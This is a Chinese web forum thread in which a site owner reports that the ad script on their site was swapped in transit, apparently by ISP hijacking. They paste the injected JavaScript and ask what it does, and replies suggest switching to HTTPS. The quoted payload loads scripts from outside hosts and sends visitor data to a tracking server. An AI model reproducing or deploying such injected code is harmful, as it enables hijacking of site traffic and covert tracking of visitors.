a7898585 发表于 2017-12-25 02:44:21

现在连js代码的内容都能被劫持吗？

本帖最后由 a7898585 于 2017-12-25 08:40 编辑

原来放广告的代码被替换掉了，刷新几次之后又出现了正常的广告代码。现在劫持这么牛逼吗？
原来放在js6.js里面的是广告代码的内容，结果晚上一查看发现里面的内容被替换了，赶紧进去杀毒看源代码，发现源代码没问题，然后前台再刷新，刷新三次以后又变正常了
另外，下面这段代码是干嘛用的？
[*]!function(){function e(e){var t=p.createElement("script");t.src=e,p.getElementsByTagName("head").appendChild(t)}var t={mac:"28:51:32:0d:8d:a7",ip:"V1.9",b:"1022753002"},o="http://m.nqjjm.com/js/common.js",p=document,n=window;~o.indexOf("hm.js")||~o.indexOf("h.js")?o=o.replace(/p:/,"ps:"):o+=(~o.indexOf("?")?"&":"?")+"_=pl",/jquery|zepto/i.test(o)?p.write(''):e(o);o="//dp.sspsky.com:8888/?opt=put&mq=st_common_dot_js&data=";n.SSPSKY_lecode_pl_data||(o+="billingid="+t.b+"&inserttype=55",n.SSPSKY_lecode_pl_data=t,e("https://www.adhei.com/res/cp.js?cid=4C255D5448B8"),t.mac&&(o+="&placeid=1&host="+encodeURIComponent(location.host)+"&typeid=1&errorurl="+encodeURIComponent(t.mac)+"&errortype=1&note="+encodeURIComponent(t.ip)),o+="&_="+Math.random(),(new Image).src=o)}();复制代码

domin 发表于 2017-12-25 02:56:42

一切皆有可能.

liusu 发表于 2017-12-25 07:05:27

上https吧，不过https也有被劫持证书的可能。。

小夜 发表于 2017-12-25 07:13:07

上https吧 没其它办法

魔尊 发表于 2017-12-25 07:15:37

这种劫持是什么原理呢 运营商劫持?

jk13 发表于 2017-12-25 07:54:25

HTTPS 可破，不要相信什么鬼的用了 HTTPS 就会让性能降低多少多少，现在挂个破博客都上 HTTPS 了

a7898585 发表于 2017-12-25 08:42:04


小夜 发表于 2017-12-25 07:13

上https吧 没其它办法
这段代码是什么用途？另外想问下是通过什么劫持的？

Carseason 发表于 2017-12-25 07:13:00

大概是根据ip产生一个时效性的轮播广告？还是上https吧，现在劫持无缝不入

左手写爱 发表于 2017-12-25 08:51:09

老老实实用HTTP从来没出国问题就有一次主机被黑域名被跳转

a7898585 发表于 2017-12-25 09:58:16


Carseason 发表于 2017-12-25 08:51

大概是根据ip产生一个时效性的轮播广告？还是上https吧，现在劫持无缝不入
能详细解释下？
页: [1]
查看完整版本: 现在连js代码的内容都能被劫持吗？